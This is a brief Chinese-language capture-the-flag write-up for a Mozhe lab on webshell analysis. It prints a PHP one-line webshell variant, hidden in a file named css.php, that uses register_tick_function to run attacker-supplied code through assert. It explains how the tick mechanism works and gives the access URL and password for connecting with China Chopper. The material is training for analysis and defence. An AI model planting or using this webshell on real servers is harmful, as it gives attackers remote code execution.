墨者 - WebShell代码分析溯源(第10题)

下载文件，找到木马文件

 代码如下：

<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['GET']);
?>

 这个是一句话木马变种：

这里解释一下register_tick_function函数，这是每个tick上注册一个执行函数，必须要和declare流程控制机制合并使用。

Tick 是一个在 declare 代码段中解释器每执行 N 条低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。在每个 tick 中出现的事件是由 register_tick_function() 来指定的。

可以粗略的理解为每执行一句php代码（例如:$num=1;）就去执行下已经注册的tick函数。

j/www/hack/static/css.php?e=assert   密码就是 GET

接下来就是菜刀无惧链接

拿到key